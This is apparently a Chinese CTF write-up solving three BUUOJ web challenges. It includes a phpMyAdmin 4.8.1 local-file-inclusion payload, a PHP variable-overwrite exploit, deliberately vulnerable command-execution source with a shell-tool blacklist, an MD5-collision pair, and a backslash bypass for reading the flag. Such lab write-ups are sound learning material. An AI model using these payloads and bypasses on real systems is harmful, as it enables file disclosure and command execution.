Buuoj题目(3)


做做buuoj上的web题,本萌新纯采集,轻喷(((

没想到这个连续剧居然做到第三集了(?

[GWCTF 2019] 我有一个数据库

打开靶机,一眼乱码…

使用charset改编码:

好,那就用dirsearch开找,由于万恶的反爬,还是只能用低线程:

1
python.exe .\dirsearch.py -u http://59a09390-210c-48e3-a698-1e6e1dd52325.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429

跑出了phpmyadmin和robots.txt

访问robots.txt

发现提示是phpinfo.php

所以直接选择看/phpmyadmin/

发现是phpmyadmin 4.8.1的版本

然后就上万能的CSDN…

发现有本地包含漏洞

直接拿漏洞打就完事了:

payload:

1
?target=sql.php%253f../../../../../../../../../../flag

[BJDCTF2020] Mark loves cat

变量覆盖题。

进入靶机,就是一个贼酷炫的前端页面(

然后啥也点不了

这个时候就要考虑是不是有dirsearch可以扫出来的东西了

使用dirsearch 能够扫描出/.git/

使用githack下载源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;//对于POST传入的变量 a = b时,变成 $a=b
}

foreach($_GET as $x => $y){
$$x = $$y; //对于 GET传入的变量 a=b时,变成 $a = $b
//可以使用GET传入变量将上面的三个变量覆盖成$flag
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);//exit函数,输出一条信息,并退出当前脚本
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

所以思路很清晰,只需要将上面那三个变量选一个覆盖成$flag,然后再满足你所选择变量的exit条件即可

(虽然但是我到现在都不知道handsome要怎么做,怎么让flag=一个变量,这个变量又不能等于flag啊)

方法一:

如果选择yds:

首先将yds覆盖成flag:

1
?yds=flag

然后…

如果GET传入flag和POST传入的flag都是空的话,就exit了

所以直接结束

方法二:

如果选择is:

还是先将is覆盖成flag:

1
?is=flag

看条件,如果get或者post传入flag的值为flag时,exit

所以后面传入flag=flag即可

1
?is=flag&flag=flag

[安洵杯 2019] easy_web

打开一看,也是啥都没有。。。

不过首页那个img=比较奇怪,看起来像base64加密

把他拖入CyberChef,发现其经过了1次Hex加密和2次base64加密

最初的结果是555.png

大抵就是那张图片?

利用这个原理,我们将555.png改为index.php,然后进行同样的加密,尝试获取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));//img解密

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {//post的值a不能等于b,但是a的md5与b的md5值要强相等
echo `$cmd`;//echo + 反引号 相当于命令执行
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

这里最大的问题就是如何使得一个字符串a的值不等于b,md5的值又要强相等(如果是两个等号,可以使用0e开头的md5)

使用 fastcoll 快速MD5碰撞生成器:

可以构建两个md5值一样,但是内容完全不一样的字符串

使用方法如下:

  • 创建一个文本文件,写入内容,命名
  • cmd运行:
  • fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt(其中init是你创建的文本文件,1.txt和2.txt是生成的两个文本的txt文件)

然后需要进行一步url编码才能够正常使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("1.txt"));
$b = urlencode(readmyfile("2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
echo "\n";
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}
?>

result:

1
2
a=qwq%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00I%EC%91%C5Q%87a%CAzE%92%5D%D4%FF%EB%B1%C8%BE%F7EZq%ADJEb%82u%95%80%8B%FF%0C%F3%B8%D8P%8Eb%E7%0B%C8O%199%12%7Df%5El%ADE%BF%CB%95Z%C4%60%84%3A%8E%8F%85%18%C2%D0%9D%D7Z%28%90%E3%3DP%B6%D8%9B%89%A0%CEq%05%CDa%06%90%83%8Bv%EF%DF%CBOQ%A3%C1%AA%10%AD-%96%89z%D6%AB%93%E7X%D2%02%DE%3E%B4%F9%87%CF%B6%C4%D2-%2B%10%D5%F5%11%049%3D
b=qwq%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00I%EC%91%C5Q%87a%CAzE%92%5D%D4%FF%EB%B1%C8%BE%F7%C5Zq%ADJEb%82u%95%80%8B%FF%0C%F3%B8%D8P%8Eb%E7%0B%C8O%199%92%7Df%5El%ADE%BF%CB%95Z%C4%60%84%BA%8E%8F%85%18%C2%D0%9D%D7Z%28%90%E3%3DP%B6%D8%9B%89%A0%CEq%05%CD%E1%06%90%83%8Bv%EF%DF%CBOQ%A3%C1%AA%10%AD-%96%89z%D6%AB%93%E7X%D2%82%DD%3E%B4%F9%87%CF%B6%C4%D2-%2B%10%D5u%11%049%3D

由于字符串比较长,所以使用burp进行Post传参:对于过滤,使用反斜杠绕过,空格使用%20进行url编码(burp里面打那个空格直接bad request了):

找到flag

直接cat /flag